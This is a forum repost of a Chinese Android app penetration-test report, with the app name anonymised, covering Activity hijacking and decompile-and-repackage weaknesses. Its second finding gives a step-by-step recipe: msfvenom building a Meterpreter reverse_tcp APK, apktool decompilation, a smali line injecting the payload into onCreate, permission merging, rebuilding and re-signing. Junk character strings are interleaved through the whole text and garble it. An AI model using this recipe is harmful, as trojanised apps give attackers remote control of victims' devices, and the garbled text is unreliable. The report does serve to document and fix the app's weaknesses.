原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin · 发表于 2022-6-8 20:32:44

$ V/ o; \1 B0 e% l$ q3 V0 [& f& E ' C/ F" E& |( q0 I% F- M: n
; L8 }7 u i; [% x, S ; ?2 S/ @ C4 Y. b* r6 u9 U

9 C! l) O! w* E# Y 1 g! \8 q0 p& h9 N; r3 k 文档编号： `2 D3 L, B" ^% `% J3 `; w$ G , d/ D* n& u: S J7 T

, q! q8 j9 {2 h" g5 f F4 J$ z! E5 h* K( M # m% n* d- P5 {/ ~# ]) U6 X 3 h- B K" F7 l9 g& h9 g% c, U+ d$ O

$ |9 [$ K7 N' M" v % N) v. b% a& H; f$ |' J( A. g 4 e- l/ a8 e9 i5 ^8 J" u* I+ H 2 c( ~5 q& X" L$ c# c

* Q+ f: C. m% Q7 `" ? ! I# R8 n+ f0 J ) e! S" t& s/ Q# c1 @. z' x$ ^ " E8 P/ Y5 G/ L: K7 x6 g9 D

; ?8 q. D: B5 P/ Z 4 M7 y( F# ^ j Y7 m: B8 @3 H 5 M/ x2 @% Z5 N- t: f: Q 0 G' A* [2 @- G3 T5 x

9 m: R7 r" c/ g* v9 V4 C. h. c: r% {; B" {! p$ a & L" ]4 [/ ^+ Y+ O/ g/ f( r : G! b( Q0 L' i! q! j

3 g+ I/ ]. z; O f; P; P+ }" r. Z: p6 v" T, s 某某某APP渗透测试 " Z! ~% a% F1 N0 r. V/ H " O# e5 P ]2 t0 S( q I6 Z& T

. S. d- T2 H7 w0 O 1 u) v% g! ^; ~" j# s 4 {1 a& T$ H! o2 Z& I! _* {2 h A 6 Y! _# |3 r6 |- [' O

: P8 ^; o5 ?+ l* b6 _6 E' t 7 W5 {& H: Q1 g# W " I" _* \( N* a# D' t2 _, t0 C( b3 t& s8 e# G

1 x1 b, P N* d $ \* p% F; R# b: T, f: B& ^) g ( U0 P8 i- \7 t+ I& H 8 g6 Q$ P0 E" g0 |* S

2 R( C# [6 o2 i% n9 T6 U 8 m8 N% l X& l: ? 1 O' S* w3 ]* X$ O- o! x5 m 6 J9 f: s/ H. R7 i7 ]/ c4 Q

. V# E/ W, ^9 i* F2 E ; a6 e4 }, J0 p8 ], Z) R 技术报告 3 k% H5 v! R% f$ Q* v, y6 }( V' K( f2 V$ a+ l; H' L& N

# ^8 [! ~: F! _# @: U 8 V& N8 f) L* V" s7 d " P3 l, J, m5 W$ U8 a9 x, b" H ' X/ K% d+ o% F

0 D( W3 O. F5 M8 z# }% ~6 @ " k" _$ @4 c- ^+ c 9 ]4 c- }. I# k) m) M8 v0 h& u% Q

+ Q$ v1 k! r. T5 x8 N $ |2 ~$ r8 U) b; R8 t7 Z 8 h1 i$ S" ^ C8 X2 D' W ; ^5 ~: |3 J f

& X) t1 G* v( ?5 u: Y4 k9 ^ 7 e H( B! T& B, W' k/ g: i- v 9 x+ K" e! h/ b - t+ x8 L, `; c5 Y! F) e

& ^8 V8 e, e( E9 k $ w$ p. F9 ?* T. e( y [ ! w8 ?: z% U7 d) y; ` + L7 ^4 {9 m/ I" O$ G' y) h- `

' [. U1 R! J, O8 w3 r 1 I% W8 J$ e3 M+ B' U& } ) E! ]. s# Z* g3 j * h9 B' ~% p/ r5 z/ P

6 _+ R; t. W. m7 t / a% u+ \& y7 |6 h# l+ o, E& t , ]1 } m: h7 {* R' K% [; ~ % c' x+ Q |" z5 f7 `8 \, T5 y* v

. }, b1 x2 ^/ C s ( P P7 o8 t0 g0 [7 p 4 f9 V1 D' @+ H; \# [# S) Z% D $ a" u$ m& @$ k

! P( k4 b$ z" @$ G# y9 Q ( M# H3 I6 I' g0 y- N7 V6 P4 p 3 ?: E( k/ R' a2 Q# {/ G7 g z" ?, |3 h4 |4 a# R

/ n2 Z" R8 Y% _ , M' |" }# I- n3 G$ q* U$ X. k $ }0 P- x. ], _7 A C5 m [3 P

7 ~0 N' o$ Y* `9 ]9 G 8 ^( k: a8 a/ q' ~( H: e) N ) }0 d, [ I$ x7 a0 j0 J$ p 4 E+ S# ~6 V& R5 H# d& j

% L/ n8 Y& ^. K$ s' |/ w q0 F4 C8 r) m" M . N) d0 V% Z; q% g; J6 E6 b' T6 w i

8 ~- R# U# C; A6 \7 h, T+ K 8 Q3 O% ?. d" N( ^ 8 f4 Y3 u9 d4 l: i+ ] 4 f& R9 P& p! I3 v5 p

' X& z( H# \- c1 D9 s% M" V 7 g5 ^" x" {$ c+ i, u+ b 1 U% _+ }* D3 ^$ j2 o$ a5 a + N* ~" L0 f8 @" B! O

1 l- i+ l8 Q/ O1 r( |: c) z/ D& ], z- D) ]% ~! o0 _" w$ H) @ : Q7 t( ?: A( a' s* s7 _ : X: V$ h6 P: {# \

6 ~9 o; p# o4 N2 I, j 8 D3 u" y7 I) K$ w0 z3 m , D' {4 a* p& w) F - k5 \6 f# l) a

) t8 t# g V1 ^5 G 8 w+ H# M3 u) b, q* B 9 {) ?6 q/ d4 I2 J * E7 P' E3 G( G; ]

2 \9 s3 f4 {3 d/ ` 8 I) @+ Z: B( B" c% U % R) t. d" P; f0 c+ h, X$ c. ~* r5 d* g, Y! Y! @

4 \+ g9 w) i. ?8 `" G1 r; `) X 3 l# z1 H8 s) m3 N2 L$ { 二〇二〇年 + M" c% b) G) Q' {3 V* l& q 5 r5 t) P7 C$ {$ W9 z: ^: E' }9 r& k L

1 R; n$ W9 B/ ? ! J3 V9 V; h" k8 S( } 目录 ! i* c0 Y) T/ g; A" |& e \8 \% M; g

6 k9 g1 L! B6 U- n, L6 T% s9 N; B: e6 u7 C, D: A& K! W 4 r2 M8 P# h& \6 X& O0 Z; ~, Z2 A5 W& A6 [. e

9 y* C4 M: e& y$ V/ E - {# }) H4 g2 r: w! M7 _ 1 概述... 3 7 z0 ~) q* q5 p: o' ?% t/ G% l( u : g1 U+ u2 Z% M# n

. [3 w+ U, }* ^- e$ Z! }' U9 F6 \. [4 O6 ` 1.2测试时间... 3 5 s8 S ]/ L# {+ e 8 z: @3 C( q% ]* S

. h( p: j6 L+ x * k6 `& O0 \ u# k! F 1.3测试对象... 3 2 ?9 G" \% q! l" V2 S $ [- u) M8 e+ C: M7 j! ^3 }

7 V: q7 u# w& a" t " c k& N/ }8 q4 i 1.4测试结果... 3 ' N$ i4 n9 D8 Q1 Y% ~* R/ B. u% \7 @" D$ h

4 l: u% x% o$ j1 i! p! g, W# w- ] ; F) y/ U, p7 [* s- G& o 2 检测结果... 4 5 h# t5 g/ f6 L( R, T5 i3 M& f ! X$ l) v( v# k+ B# ?8 d

' F4 |0 G# I5 z! F ! l C4 t1 J* N/ Y/ X3 w4 @( V 2.1 某某某... 4 / e( F( A+ t0 G4 `0 H! X# A 2 M& I: k* p: W/ e0 H

( \# r/ s+ d( P Y2 U0 [1 N3 t+ ?* k$ [0 j. T9 Y& @2 A 2.1.1检测目标... 4 & U$ h# O1 S& a7 _! Z4 a+ p ' T/ M% J# v" [4 W, F" u

0 F; H. }- r! m) V; G 1 R( S7 x* X5 i 2.1.2检测结果... 4 2 U* p9 ?2 ]9 ? * u! r; j1 J' n% C+ k2 A6 ^% g0 A

5 A) x8 u) Y& ?1 q, m5 _ C 1 b+ V. G; J7 ~5 y6 s# M4 d& D 2.1.2.1. 4 / |9 d5 ?6 W. D8 r6 p2 y* K/ Y% \( w

T u+ p7 z$ [& B {5 t$ d, X0 h$ l6 P6 C( p" t% o 2.1.2.2. 6 % a4 ~! J0 |' A$ H! A2 p / I7 x7 V0 V3 T) D p

; i( t& }- L' J( u+ s# I r! U! a+ Z* o3 p3 r & t( q0 L+ D N" S v" a) O7 m8 _" k1 w6 F3 v" b& h* P

" @( L# {2 k3 x# P- E/ f) ~2 j& e) t% H: O, k& } 1 概述 1 R: i5 g: A6 g4 l* D* k ( a! ^: y3 v1 T- Z9 Z

! I0 S/ L8 Z" ^& o+ c; S. _( V+ R3 ~( \( l 1.2测试时间 3 J4 E3 T' H0 e1 C. c - ^" T: F/ Q1 q: j6 @

5 i3 d$ g/ \|$ _ 7 r6 Y# H+ L( r# x& D9 {/ Y) h: r ) d! I# \|9 y m2 _1 @ G3 \| 6 Z/ w9 U7 D- V9 c2 j 渗透测试时间 8 x8 z8 ^6 d5 A7 S8 @8 b & w, m% k" O) n( q+ l9 \|8 K' J+ E0 i " d6 a o6 G% V! O# d 7 N% g& u$ J# j- P
$ J( d/ `4 U0 Q7 O' Q( A * E/ O$ G* f1 J4 r7 R 3 Y0 F0 D, Q! A5 F/ G8 q : r; u3 W. }7 w) e4 M, Q 起始时间 % X1 [: ~0 Q& V9 }1 c+ N& q4 Q c- o9 m4 ~# f' w 6 b7 w$ s0 u# d8 q8 I! w ( X' c w% x# u1 y" F	/ z/ Z7 b- e. C) c/ n: t3 e# C1 f) _ f ' x. L A6 v) a- t* w( Z# b " \- Q8 h, R( B+ ~ d' ?3 n1 P$ ~" n. b& l: H: v7 N 2020年4月6日 6 _0 C, Z' z( i 9 x4 c, B1 p* m 4 V- d3 Y7 ~" _3 j& I( q7 n% Y% a % k" K4 P! p) X3 i! `
! k2 V! W- j8 r3 V . m4 I' z/ O8 N; N) { F6 U+ r; U" }/ g' Z ]7 y 3 M8 `- x# ]5 f. \| 结束时间 / S8 ?! j5 W! [ i9 G3 i9 `! h2 b+ H) ~& \|/ P3 v2 G 1 h7 W- l0 t! \|8 Z. X) R . i* y3 K0 a7 l. w+ m- k+ ^ W$ Y	7 W6 h" L. B5 v1 r: B: ^% g1 p( a4 H# m) ~& L; B6 h A . Z! @+ s3 Z. t. i3 i2 q/ y ' e+ K* g- M4 k1 D+ G& I 2020年4月9日 9 o7 w$ F* N( j 3 U% [; Q% B, H1 {) Q- N) E% G + c2 h" a9 n3 `6 y( ^# Q+ Z2 c ( \|9 o P* `3 G3 I8 c! T

2 f& A# G4 p" K) K7 x) k 6 T1 r3 F. z4 }4 n, x 1.3测试对象 , q- |4 b; { A9 x 8 z- i9 Y+ z5 N$ l' l, N* J

8 I- K! L0 E. j ' d" v! @' ]9 w 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 2 \+ T+ J v! U; C4 ~ : K( y. \7 J9 A. T

" f: J" H; _8 d3 x" s, _ + m5 O4 R/ R6 N8 T+ C7 t3 o7 u; j 表1-1 检测对象 " q( o2 f. N5 p X' B: [4 p% A: g% f% |! q. ]/ z

; L! k( \ c, Z' Y/ c$ U/ n) {& R * \. ]! \|4 \1 L8 a/ ] 5 j) d4 C0 d2 f8 W* c$ p3 U* f. ?4 Z 序号 6 d# C" t5 ]6 g7 E1 M 5 u$ t" U2 t/ b( h1 e6 _2 E5 E u) ^0 K7 v1 H- g % s& h+ E( K4 T F	7 I/ u+ R$ m' y1 } 8 L9 v* {$ {! ?; ] \| 1 S& l, E% b" G6 p* ?$ X ; L2 B0 h% h f" J 测试对象 4 ~6 n; w' N3 K7 X/ F& Y* \- R& f9 h/ `8 R* q# C! ] 5 J" h2 K, i3 [# w ' B: c% d3 Y/ o3 e) O1 Y& ?	1 W. \|4 d) g7 @ 6 \|* `% G, h c: @6 s , g, P. B* B, v3 p, h) P) q: D5 M# q % Z+ K- g# i% s- I 测试地址 2 M9 f; O# T% c) v. A% ?1 W ' I' N# \|' O, H4 x 6 d3 Q( c7 E p6 m% \|& f0 T# L; J # P: a" W; x( ?	. G9 S% j, B8 _+ ~% i- M; L ! [ ^) D/ P. ^) A8 K0 f 1 W) o! B( f' R) D9 f! l+ t9 p e3 s+ I$ I6 `, M2 ? 安全漏洞 ; z5 q9 V Q j) f1 y+ X 7 Q* `/ B& J, T" P: J % i% Q3 U- D7 {7 V0 e- r* b: P v, C
. e7 J2 q2 y5 m& I2 \# S/ c ! }% V$ T" \|1 U! O8 c, j3 b: G / b2 {5 {; k# C N - [2 d1 U$ ^0 f( Q$ l 1 ( y E$ B$ H$ x9 K3 K8 f' }; K# o8 o- j0 _ % P2 M1 m+ _7 w* t' ?& f' k 8 b" \4 W4 v1 ~# x1 U	/ O- m" d1 ^% g. n # N/ n7 e; W8 O6 H : Z4 S6 [1 M: Y, m$ B2 A ( J+ {* [8 `+ M/ o7 h 某某某安卓APP 9 x, A+ o0 ?4 m7 M6 h* j 9 ~0 f7 o0 k& B) J8 N3 K / k/ Z) t+ M( w2 _) @* O& A& \| + i" }6 u$ ]+ p4 d7 U( u	: v& y1 r" C [. _" s3 s. T6 _5 u+ _ b: [" C! \) n9 O: B9 l K+ X# W# P7 k- F } ! {5 `6 d3 y! c( s4 Y y, I6 q4 v% R0 ]$ R 3 k* I& {5 _9 T) j ; b2 g/ L0 d I0 M9 r6 e8 h @6 ]' [ u$ }- u) Z n+ z	0 _, I) @/ D1 _) q [/ \2 X 0 f0 \) H: t5 R4 w- M# L2 K- g * L9 F" o' O/ j! R' n: ?! _$ ~$ S; o3 G# O* Y( h$ ]/ ] 2 % w! ^7 E* ]7 K0 y, T- ]4 h: c) r0 H$ D" \|1 p ; n" N+ v( E4 L9 X) u 7 j/ L% @9 y2 N3 C+ @

0 P, d! R% g: m) W9 B9 X0 h9 `" c) n 1.4测试结果 4 h+ f) U& R& F, ?. Y) ? . x' d& c" P* T/ R" _

! Z7 m7 x( B# y0 f/ U) @3 W6 O( i3 R: C3 e, P0 b5 x7 [ 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 2 T' B8 { P( f, M& L; i; \ Z+ N" V% ^5 _

( q- f) H9 ~* \9 N6 E& c% ^' M ' v$ K! Z( I% o/ R/ H2 r / y/ d. M5 C( k' Q8 M S4 x1 M' q( t6 ] . ?" C" J; h' n- ?! E

; P6 B6 {3 c' _. t0 S+ ^6 g7 N. @7 f0 M4 k% _; T6 A& i( _ 序号 4 }% I2 t# m% _& ^4 @+ v 0 ?0 K' B+ |0 H+ O& W

1 C% W3 ~5 c, v$ ~: @7 `6 O ; d9 j% x2 e) ~( _$ L 系统名称 & @% Q4 I5 t! {0 {7 Y 5 j, y; z. T" o" v. [8 `- o; F( g

% s6 }3 E' O: H5 I/ y. O9 { 6 n" a* Z* V; L! D7 U# O; h$ M \8 ~7 s 漏洞名称 & Y* K" C$ g1 K 7 }/ M5 b% \# ~8 Y2 o5 }- \1 o

6 X8 D4 a+ |- u, M9 |3 f) E ) }. f4 O' {+ t: {9 d0 f( ^ 漏洞危害 7 y2 t0 G" e. p, h" H , n! A: \, u* r( n7 w

- ]# t0 |" u4 z( s! M1 K& c9 x! g ' n3 s) W; p# ~" p& M 修复结果 ! S- L2 ]4 B0 K0 C( S8 \+ N$ ^9 P! f( v1 I

V: ]0 t! t# v$ O: X0 N ) D( U- o0 d" f0 O* ^+ x& t 1 T& ~2 M" ~7 ^0 o2 f8 Q: w , z# v* n3 I$ `3 ]/ Z4 e q

! V; ~$ c8 d' q" f4 R0 Q( _2 R% _# e6 q 某某某某某某APP 2 K+ }' I5 \# K6 e5 c, a# B0 x/ E9 Z# s6 H( y( I" [: x

E& X7 S* U' M9 t 2 P2 q# ?9 X' r; T$ m5 u Activity 劫持 - K; h% v+ g/ ~9 {5 K. G7 n % o$ t X; p/ g, n5 ^5 e, U: o

! I6 d5 B6 D& Y7 T! m0 h5 T % Z' M/ T# n, @& f3 W3 n ! `' j7 [. I8 Z* E ( ~2 P [1 G! C5 h

( [ N% H( ~% a7 Q7 S3 F6 ^" U ( g1 j: o( X1 G 高 ; C9 [ Y) T$ p 4 m8 k9 ?6 h& K* p1 T7 n# `

4 j- \; t/ _ N1 z 4 r4 K$ C$ V- d ' e+ ~! |' N( T2 u1 i ( s/ |3 ~ C z$ E( ^' M6 ]! y

$ c( }; o' X; `9 Z8 @/ t/ a. N . z# u1 L/ c6 W4 w! F 2 4 T& V- t% k/ @/ i7 r K7 F+ g6 S+ X

- ]5 w- \; n2 v: R . K0 ?& q) }% [7 r: A$ t 某某某某某某APP , s% P* D Z6 G$ g" k* O( ]2 V* N r3 a

9 O4 Q; D' |& Y1 o% j. z * S6 [* h8 E" V1 H. `; }* M2 r, A 反编译二次打包捆绑木马、篡改APP代码 % @2 T3 h" L7 w " p& M1 H2 \* K" d

& {# Z" {! i5 d " t& o) D8 m, a; C1 H R' U3 C 高 ! k. i7 {7 \' ]4 x$ o5 U ) s- Z, T( h, F/ G: J& O

. S$ C" D. ]9 R% {6 ?6 ^& n4 S 1 F/ w9 O* h e + }: p, O0 h$ }3 g0 S 4 v1 j$ {( u l

+ r9 E, m7 V. Q9 s6 z! K2 f+ o# i M* H- C3 P0 V$ Y/ n( B$ e+ D d. v* e) O8 N9 B, P) _. l- q' x 2 s! N& Q0 U' \) w. F0 c! o

% p% Z" q |2 T 2 Z% G2 I/ x6 a# | 表1-2 测试结果 " d$ w8 f7 W7 B& F6 w6 ~" ?8 _1 F% H, L. {/ ]6 ]- X. f

& Q7 x, D. c# T( v: f ! g7 D6 z( l ]5 G3 w9 N* [ ) d! Q2 j. V D9 R8 m8 p# Z# C& X# e5 S

7 U) |9 O. S0 c( d/ Y1 ?/ P ; i! p1 b; b7 ? 2 检测结果 6 t+ w7 e$ x9 a0 @3 `! d5 k0 \; x6 `3 I' U, _

: J5 B! ~: c/ [ R# v " b& d! a: O: d 2.1 某某某 " M/ y( v+ ^8 K9 b" I , _7 X4 B$ j3 Y1 M

: M9 t# r* S0 s7 [# c$ m. F& S / l/ z. X- _% C& O 2.1.1检测目标 ( _1 R$ B8 r0 P- d# L1 I. `; U) Z9 P5 U( w3 L2 q/ g

9 u+ T, Y- X* L, t M; @% D5 f; b2 g" T 目标地址： 某某某某某某APP ' R" ?6 U7 s' _9 m 1 k8 D; n2 y6 p5 @: l( y) x

4 U0 c2 ?- n9 o/ n1 f , E: ?% \8 O8 h4 f 2.1.2检测结果 % h& u A( `" J; H * [. p& q! H( G) X% c$ \; v5 Y/ ?0 V

+ d# S* V# {: h. t/ e " b: Q. K3 f4 U, k" }8 S 2.1.2.1 % w, j# F1 F0 h8 X5 }$ W/ z ' R/ g* u v6 F, u! T& _+ H

3 X, k' X/ K d6 h- d* T; d; d1 N- c8 c! Y- _$ A 漏洞链接地址：某某某某某某APP ; V; D \$ t/ b, ]0 j2 m1 e % P/ [2 I/ ?- }' r7 Y

% W. Z" b$ U) O2 i, H ~9 T* [* \1 |$ y) ^# o* }: e3 V% F * B3 b/ q5 q5 R6 \: J' q) a; F 2 I7 P- _, r" m! T( j

0 D5 f7 M! R% n3 l( {: X+ j 0 v: g4 I/ t, Y- t5 W 漏洞分析及取证： s- C0 v! D( z# X Z) M 8 l. K: q- n6 ?# e3 k) c( b

, F: o7 i- i- p6 O7 a3 V: I' W : B4 P; k6 v1 p+ r7 Y& h 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 0 }7 {4 |/ a2 i9 h9 P5 X9 n 8 Z& d3 W b: i2 X/ [

' G0 J3 i8 J$ K % h5 D" C+ q: B, B $ S5 B8 t$ M$ Y" D. _3 [; t1 t" ]" F; O, Q

0 n0 s' b# W9 J& d! M' B3 E# r! n2 w 8 p* f8 }' O1 V( u7 p3 r & |! ~, S8 c& W( @ / B& n, \9 D0 t& s

* y* O+ {' m4 ~2 h" | + r" Z. G, ?$ e0 j; L0 m( [+ W + P7 r6 e9 R8 U9 w4 z4 K 0 b/ K8 X q1 ]/ @- o6 U

: _, \. h [/ p; D) u( ^# i$ D0 o# p: H; x" z 3 z4 o5 B, V! e) P; P9 x* P1 \: E- T% O4 `+ E7 y

2 T3 k, ~" v ^" Q , X- ]( y" C2 Y$ s3 ? : s9 y2 J" Z& i' j1 n! x y z Z. w+ e0 {0 e7 y' Q7 x" v

; Q. w* C: r# y$ q' ?. C; x ( ]& O1 z7 i1 K' y+ m t; R 漏洞危害：高 " ~: `8 l, t# @* \3 ]2 u* Z2 z/ [" i0 s( Q8 n

?1 \4 Q2 S, z' x! Q Z$ V2 t7 k! Q 1 x5 G) B% O( V 5 L" x3 g0 e0 W; m$ e% K' ]5 W1 F & Y8 u7 h6 W; v7 C. c 严重程度 3 O6 X s5 h5 \* ` / I, h$ l8 _) I7 N ( Z( X) m3 Z+ S7 U8 t3 f/ } : t P& \) Z* t# ?; `	9 _8 k2 L. b* E 9 G! E) F% w4 v7 s9 q. e " x& l" d' c6 n3 X$ f 7 @3 S" v# b! j) b# B: ^ 高 - c- L: C9 x& X% Z: s6 K 7 }: o* h/ T9 B3 \8 v ; \* R& j! }; `5 D% W F0 h9 \9 l d! K	0 ]- O* C" S; b2 u. {+ T6 Y$ V% w* ] - N2 q8 g+ \|, `1 R) f/ C 0 Y9 r+ ?* c+ U- B; Q- f+ [ ■ 9 N" {9 w7 E f3 w# L U. S/ _& _. S" i. x1 S! i) P - y: V/ _9 O# z7 v1 ? 0 g; s8 t- h2 z	0 r' I# _( V) q% G 3 Z+ L# R& {9 } P! {: m: v1 u4 g ` 6 a* m0 J0 r' z# ~0 x 1 P$ X: K$ Q7 G, ?9 J 中 . ~& L% s+ F$ ~; x( P% d3 W2 w7 m, N8 L2 k/ n c% G - _) L N, a9 C- ]( v7 y ) M3 F2 A: g# n( A" x9 w+ ^	9 n' \| E+ y# n4 } 7 X4 s5 S) \|, S4 u + x9 u# G8 w- V; f5 [ b; G9 C # q! ~& [$ ?+ b x3 [3 b 4 {: G/ t5 c0 V1 B- Y4 w8 \|& ]7 G& n+ p" Y* v7 M# L , q F0 x* C( U$ e6 y1 \|; ?$ e5 ] 0 W# S" L; `- F3 z/ V' ]	, [& I5 @& H" d! E % S/ r# N' i0 C q - _1 ]4 ~$ l# q$ l) Y! P/ o$ Q# y G 低 " O" b5 q4 h I5 G " b) k" T1 J8 u/ A5 t- U 9 W5 B5 `! ]; v, C; i: b' V ?7 ], V% I4 g; s. }0 s; M	- K' a/ ^5 t& H, W2 A. e; e$ \|! t! }; E' U3 L : Z+ l3 E" _! w7 o1 `4 m7 @ ' d- t, k. Z% x' c2 r ! X* x* N7 p4 Y 2 l) e1 ?/ p! w4 ~5 ]. t+ s) _: h ! k" M0 w: V$ S$ T/ e ( i9 R' z; X! y- Y; \|- e: r

0 g$ R( W; |7 L6 W' i D2 k ) O# ~, Q6 J- J . o* q4 C! W+ S1 O; e2 u % d) }0 h4 z2 i( j) g: D

& o2 X+ G/ L: N 0 l1 j! G' @: _3 ]+ N5 ]1 U 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 * t: X4 p# U1 O: K) `+ a+ e8 U# C# c% A4 Y& N6 y& L8 N" P$ G

- [. K8 x, ]; T $ K' h/ Z9 O- W% h 3 B( ^2 _3 \9 J( P" G' y& j. H 4 f* l% @% w' E) l7 J( W, V f

: f, J% M+ \' i# T / P, c3 j0 }# q; _& b/ l 2 Z* p, y; Q: U" x F6 l( W 8 l2 D e5 {( x$ [% p( H7 Y

% K# n/ U) H' M0 C6 E4 A , A) p( |0 J8 E0 `9 _- ^ 2.1.2.2 ' ~& y: e' x6 S6 Q% V2 f8 U% J# V) ?8 l6 X/ ?- } x

& v6 O% Y( G# W" t& s7 ]* f1 D: M0 m3 |3 Y2 R 漏洞链接地址：某某某某某某APP ; V* z/ V9 b$ v* x& P1 [ * n( Z H; X3 |

- p4 ?* A; e- K$ a8 g$ o0 P " j( I0 F$ j/ t% i# Z 漏洞分析及取证： 1 K. ~5 l0 \+ ?* k; m" u2 ^4 [9 s8 `/ L8 ^+ l T; O H5 @

* [; A3 q7 G j: L7 R4 }7 `6 J7 _ u; A% N% s( Z2 I6 T1 N7 v 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： " J. Q; J- `2 G3 v B $ X, {5 ~5 e8 N

. C2 S, ^" N' c. O# Z 2 v" b3 H& K/ o) s 用Metasploit 生成木马 apk : Z1 `4 W% w! Z: Q2 D" j/ e8 v1 r$ X. p7 p Y" k* V4 u

2 M0 U- W# p7 H% }" E% t k: P( G! ~* z7 z# {& d& i msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # X: r1 ?; a9 \. B " a' s4 r0 A6 W) v2 z

0 @ r1 ?! A+ l5 M0 q # B& L: X J' c 反编译目标apk和木马apk & ~8 U% H ^) _8 C/ H 7 z/ N7 h! I4 e6 x* L

0 j8 h5 x2 Z1 |9 D1 m' T3 N1 y5 J * ^1 ^3 Z, j3 m1 _ apktool d target.apk
. f0 o3 I/ V) g7 l; B4 s% u * m2 c# J$ b s; o apktool d cockhorse.apk ! t# Q/ f# k" R4 }8 w0 n9 C; j+ S $ d" T+ H( B* t6 w7 e

( v9 j+ C* {" ~8 q& c H5 w! q! F: \ { 木马 apk 注入目标 apk 4 ]& M+ Z/ E) _0 x & j. u2 X% s( g, o

% f% ]: c* G: a" s( y7 } ( o n$ R9 W( i* W0 ~7 h 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
& f/ a- Z c% }3 ], M 3 G# }( p" r1 @8 R% h invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 1 P3 ~8 G' E% `: _; m- }' X: }- _1 k4 h! k' D

1 f4 v3 g! Y9 b0 K 0 U/ q0 G t' ^: m 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 % i6 `* G$ N+ [0 T! q4 m 5 G3 t F8 W J

, S# F; p* \ Y* A# q7 D# x p! \2 n; w7 z/ k- l7 p% u 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 # r; e& B$ h( [ 0 e: ^" e: @& P+ ~1 S: I

4 G% c- A" E7 b F, I: V# Y' @, I/ U) V- m* |5 `% Z: M+ O$ \ 回编译生成最终 apk ( m9 d E0 u6 F r! o7 e2 O" \3 V9 f% K% T2 a% j

* a% }' n' d9 T2 S. O/ j' k 9 ~! q5 q( i% C' ]; h! N: L1 H" `" z 重新打包 t' g& X: L2 q! X/ o4 B7 I * r$ N4 ^9 v4 T

& `/ I! q* h3 I/ v% ]8 _3 K1 {% K7 c) H apktool b -o repackage.apk target_app_floder ' F6 y8 a R9 q V. Q. s; g' s) g& u# _

$ v) B$ T9 N7 R- ]) f. d( o- ^# Z& x3 s6 m& l: V 创建签名文件，有的话可忽略此步骤 ( E, y8 T# T9 }" }8 h0 p( Z9 Z! z/ C" c

( ]) E/ r5 x; w I) G3 d 6 p" B1 q. h8 c# ^ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 7 d' t- P" p) @ c7 ~! L D# Y& U* g# a+ T

5 {2 P- G/ _, t$ @% K0 R1 j6 L" C& s8 X, W- N 签名，以下任选其一 # q q' C( b7 m0 H v- ? . s& ?: Q2 m+ _% Q4 Z* q

: l8 p, i u% a/ z/ k$ D " y P, U D' l# W! U' o3 \+ z# B jarsigner 方式 8 t, {2 F1 P7 q ) j1 r& ]2 m0 ^0 a! n- H

2 K: ?" {5 N% E" T% C+ N. ?& i. ]/ L/ e# ?' G jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ?, t% U. u' |, Y i, x , B4 L1 T; r9 F: f

) R4 s9 }- X9 d/ `: S$ H 5 [7 Q0 x( v, u- o; i apksigner 方式 9 m% @0 L7 J; W* h: o ' p; Q) k. W9 _6 V

0 |. [9 I9 Q) H! ?3 e3 v# @! A ) V0 ]( {$ D1 c# v |! q0 A" { apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk - s9 |- H' N3 j4 n' U5 e8 K% \+ Y. W; A, c2 y" e

9 N* h7 i. L/ k& \ & T2 w( ^3 k. l1 h* \" Q+ n7 y 如需要禁用 v2签名 添加选项--v2-signing-enabled false % S) x$ X' T3 U' z- }+ Z1 a2 \& @. A# w, b: [7 E1 N5 A

2 ? F5 y1 o# O$ c2 G0 ~& [ % Y/ P6 [0 G5 v- x9 N 验证，以下任选其一 & q: u: \% f, Z& u7 @2 V$ E 4 J9 l6 e8 W/ p$ a9 Z

* b/ I0 I- h9 q# p6 f# E ) p: u- b. w ?* W/ e jarsigner方式 5 J+ s9 R, d8 {) |) a+ m( B9 \ - Q7 \2 E+ L% Q6 H |

# }/ n! U$ j3 P" }. o% U 9 m( ]# d9 s& A6 G* e- F3 H: | jarsigner -verify repackaged.apk 9 c8 w- Q" S3 v + |, X7 A( s6 N. C, i- D

2 U! m1 C1 a, k9 j7 [8 f f$ u ! ^; D: K" U. j4 y$ L" O apksigner 方式 2 W: i l$ R' x6 L$ ~8 g& f( e8 N: O* e& E8 r

1 b- {/ W! a; F, a+ o& W5 o ' W% X. |+ E6 K apksigner verify -v --print-certs repackaged.apk , q/ r1 P; C! r6 R1 ~ ) ^9 H3 }. D2 f; x' Z& Q

. D% e) a6 F$ H- b! R3 Z1 u+ C5 ?3 z' f* w2 c; i m keytool方式 6 e3 u- \# Q0 R: N+ L! i2 h6 A( w. [: ^& `4 c' K

; Y, z( U5 ?% j( n 8 A' s( P( b" Q7 z3 p; `9 {$ r) Y: S keytool -printcert -jarfile repackaged.apk ' d; a; y2 p1 x# ^' U " s& G6 |8 r: @

0 j ~5 C4 R9 `- S; T8 X 6 Z! u' }7 H& e- E+ ~ 对齐 ; S" P( h' A( n, J 1 `, e% }4 t1 p& X9 B4 N

